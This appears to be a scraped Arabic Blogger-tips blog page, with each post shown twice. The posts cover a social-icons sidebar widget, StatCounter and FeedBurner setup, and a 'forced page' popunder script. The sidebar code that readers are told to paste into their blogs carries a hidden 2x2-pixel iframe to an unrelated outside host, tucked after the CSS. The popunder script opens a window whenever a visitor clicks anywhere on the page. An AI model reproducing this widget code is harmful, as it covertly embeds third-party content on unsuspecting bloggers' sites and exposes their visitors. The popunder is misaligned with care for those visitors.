طريقة اضافة ازرار شريط ايقونات المواقع الاجتماعية

كود اضافة ازرار شريط ايقونات المواقع الاجتماعية 

ضافة متميزة ومفيدة وجذابة وهي اضافة شريط ايقونات المواقع الاجتماعية 

• صورة من الاضافة 

• طريقة اضافة الاداة 

1. ادهب الى 
2.  لوحة التحكم
3.  التخطيط
4.  إضافة أداة
5. Html/javascript
6. الصق الكود التالي

<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://add-b.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
 <ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/xxx" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
 <a class="entypo-gplus" href="https://plus.google.com/xxx" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/xxx" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
 <a class="entypo-facebook" href="https://www.facebook.com/xxx" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
 <a class="entypo-rss" href="http://feeds.feedburner.com/xxx" rel="nofollow" target="_blank">
<span>feedburner</span>
 </a>
</li> 

</ul> 

</div>

• وغير مايلي حسب حساباتك 

• https://twitter.com/xxx
• https://plus.google.com/xxx
• http://www.tumblr.net/xxx
• https://www.facebook.com/xxx
• http://feeds.feedburner.com/xxx

مبروك عليك

طريقة اضافة ازرار شريط ايقونات المواقع الاجتماعية

من طرف طبيبك  |  نشر في :  7:51 م 0 تعليقات

كود اضافة ازرار شريط ايقونات المواقع الاجتماعية 

ضافة متميزة ومفيدة وجذابة وهي اضافة شريط ايقونات المواقع الاجتماعية 

• صورة من الاضافة 

• طريقة اضافة الاداة 

1. ادهب الى 
2.  لوحة التحكم
3.  التخطيط
4.  إضافة أداة
5. Html/javascript
6. الصق الكود التالي

<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://add-b.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
 <ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/xxx" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
 <a class="entypo-gplus" href="https://plus.google.com/xxx" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/xxx" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
 <a class="entypo-facebook" href="https://www.facebook.com/xxx" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
 <a class="entypo-rss" href="http://feeds.feedburner.com/xxx" rel="nofollow" target="_blank">
<span>feedburner</span>
 </a>
</li> 

</ul> 

</div>

• وغير مايلي حسب حساباتك 

• https://twitter.com/xxx
• https://plus.google.com/xxx
• http://www.tumblr.net/xxx
• https://www.facebook.com/xxx
• http://feeds.feedburner.com/xxx

مبروك عليك

شرح طريقة الحصول على احصائيات مدونتك عبر موقع statcounter

بالصور شرح طريقة الحصول على احصائيات مدونتك عبر موقع statcounter

ندخل اولا في الموقع statcounter

تم نتبع الشرح 

بعدها يعطينى كود ننسخه

تم ادهب الى 

 لوحة التحكم

 التخطيط

 إضافة أداة

Html/javascript

ونلصقه 

بعدها يبدا الموقع في احصائته 

شرح طريقة الحصول على احصائيات مدونتك عبر موقع statcounter

من طرف طبيبك  |  نشر في :  7:31 م 0 تعليقات

بالصور شرح طريقة الحصول على احصائيات مدونتك عبر موقع statcounter

ندخل اولا في الموقع statcounter

تم نتبع الشرح 

بعدها يعطينى كود ننسخه

تم ادهب الى 

 لوحة التحكم

 التخطيط

 إضافة أداة

Html/javascript

ونلصقه 

بعدها يبدا الموقع في احصائته 

طريقة عمل الصفحات الاجبارية في مدونة بلوغر

شرح طريقة عمل الصفحات الاجبارية في مدونة بلوجر
اليكم كود صغير و مفيد عن كيفية عمل الصفحات الاجبارية في مدونة بلوغر

اذهب الى
 لوحة التحكم
 التخطيط
 إضافة أداة
Html/javascript

و انسخ الكود التالي 
<!-- بداية كود الانبثاق by wael gamal -->

 <script language="JavaScript1.1">
var popunder
function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}
popfrequency="0 minutes"
function resetcookie(){
var expireDate = new Date()
expireDate.setMinutes(expireDate.getMinutes()-0)
document.cookie = "popunder=;path=/;expires=" + expireDate.toGMTString()
}
function loadornot(){
if (get_cookie('popunder')==''){
loadpopunder()
var expireDate = new Date()
expireDate.setMinutes(expireDate.getMinutes()+parseInt(popfrequency))
document.cookie = "popunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()
}
}
function loadpopunder(){
document.write('<body onclick="rwmrgfdq_Popup()" >');
}
if (get_cookie('popunder')!=parseInt(popfrequency))
resetcookie()
loadornot()

</script>  <script type="text/javascript"> <!--
var opened;
function rwmrgfdq_Popup()
{
if(opened != 1)
{
opened = 1;
window.open("http://meftahbloger.blogspot.com/", "rwmrgfdqpop", "scrollbars = 1, resizable = 1,status = 1");
}
}
//--> </script>
<!-- نهاية كود الانبثاق by wael gamal --> 





و استبدل رابط http://meftahbloger.blogspot.com  برابط مدونتك 

طريقة عمل الصفحات الاجبارية في مدونة بلوغر

من طرف طبيبك  |  نشر في :  7:23 م 0 تعليقات

شرح طريقة عمل الصفحات الاجبارية في مدونة بلوجر
اليكم كود صغير و مفيد عن كيفية عمل الصفحات الاجبارية في مدونة بلوغر

اذهب الى
 لوحة التحكم
 التخطيط
 إضافة أداة
Html/javascript

و انسخ الكود التالي 
<!-- بداية كود الانبثاق by wael gamal -->

 <script language="JavaScript1.1">
var popunder
function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}
popfrequency="0 minutes"
function resetcookie(){
var expireDate = new Date()
expireDate.setMinutes(expireDate.getMinutes()-0)
document.cookie = "popunder=;path=/;expires=" + expireDate.toGMTString()
}
function loadornot(){
if (get_cookie('popunder')==''){
loadpopunder()
var expireDate = new Date()
expireDate.setMinutes(expireDate.getMinutes()+parseInt(popfrequency))
document.cookie = "popunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()
}
}
function loadpopunder(){
document.write('<body onclick="rwmrgfdq_Popup()" >');
}
if (get_cookie('popunder')!=parseInt(popfrequency))
resetcookie()
loadornot()

</script>  <script type="text/javascript"> <!--
var opened;
function rwmrgfdq_Popup()
{
if(opened != 1)
{
opened = 1;
window.open("http://meftahbloger.blogspot.com/", "rwmrgfdqpop", "scrollbars = 1, resizable = 1,status = 1");
}
}
//--> </script>
<!-- نهاية كود الانبثاق by wael gamal --> 





و استبدل رابط http://meftahbloger.blogspot.com  برابط مدونتك 

شرح طريقة الاشتراك في خدمة FeedBurner

شرح بالصور طريقة الاشتراك في خدمة FeedBurner
خدمة ارسال المواضيع FeedBurner

نبدا ولا في الدخول الى موقعها 

http://feedburner.google.com/fb/a/myfeeds

وتم سوف ترى صندوق الصق فيه رابطك بالاضافة الى 

/feeds/posts/default

متال

http://meftahbloger.blogspot.com/feeds/posts/default

تم اضغط next

 تم اضغط next

تم نضغط skip directly to feed management

تم سوف جديدة اضغط على 

publicize

email subscriptions

activate

تم انسخ الكود 

واختر بلوجر 

واضغط GO!

تم سوف تظهر لك صفحة جديدة 

اختر عنوان للاضافة تم اضغط تحرير محتوى

والصق الكود 

شرح طريقة الاشتراك في خدمة FeedBurner

من طرف طبيبك  |  نشر في :  7:09 م 0 تعليقات

شرح بالصور طريقة الاشتراك في خدمة FeedBurner
خدمة ارسال المواضيع FeedBurner

نبدا ولا في الدخول الى موقعها 

http://feedburner.google.com/fb/a/myfeeds

وتم سوف ترى صندوق الصق فيه رابطك بالاضافة الى 

/feeds/posts/default

متال

http://meftahbloger.blogspot.com/feeds/posts/default

تم اضغط next

 تم اضغط next

تم نضغط skip directly to feed management

تم سوف جديدة اضغط على 

publicize

email subscriptions

activate

تم انسخ الكود 

واختر بلوجر 

واضغط GO!

تم سوف تظهر لك صفحة جديدة 

اختر عنوان للاضافة تم اضغط تحرير محتوى

والصق الكود 

اهم الاضافات لمدونة بلوغر وشرح طريقة عمل الاضافة

اهم الاضافات لمدونة بلوغر وشرح طريقة عمل الاضافة
/إضافة أداة مواضيع ذات صلة ومتحركة

2/إضافة أداة مواضيع جديدة بسهولة

3/كيفية إضافة أداة أخر التعليقات مع صور المعلقين

4/إضافة صندوق للمتابعة بشكل جديد و احترافي

5/كيفية إضافة فهرس جميل لمدونتك

6/كيفية استبدل رسائل أقدم و أحدت و الرئيسية إلى صورة جميلة

7/اضافة صندوق الاشتراك المصحوب مع المواقع الاجتماعية

8/كيفية إضافه تعليقات الفيس بوك بسهولة

9/اداة صعود الى اعلى

10/طريقة اضافة ترقيم صفحات بلوجر

11/كيفية اضافة صفحة اتصل بنا بسهولة في بلوجر

12/إضافة أداة المشاركات الشائعه بالوان رائعة

اهم الاضافات لمدونة بلوغر وشرح طريقة عمل الاضافة

من طرف طبيبك  |  نشر في :  7:06 م 0 تعليقات

اهم الاضافات لمدونة بلوغر وشرح طريقة عمل الاضافة
/إضافة أداة مواضيع ذات صلة ومتحركة

2/إضافة أداة مواضيع جديدة بسهولة

3/كيفية إضافة أداة أخر التعليقات مع صور المعلقين

4/إضافة صندوق للمتابعة بشكل جديد و احترافي

5/كيفية إضافة فهرس جميل لمدونتك

6/كيفية استبدل رسائل أقدم و أحدت و الرئيسية إلى صورة جميلة

7/اضافة صندوق الاشتراك المصحوب مع المواقع الاجتماعية

8/كيفية إضافه تعليقات الفيس بوك بسهولة

9/اداة صعود الى اعلى

10/طريقة اضافة ترقيم صفحات بلوجر

11/كيفية اضافة صفحة اتصل بنا بسهولة في بلوجر

12/إضافة أداة المشاركات الشائعه بالوان رائعة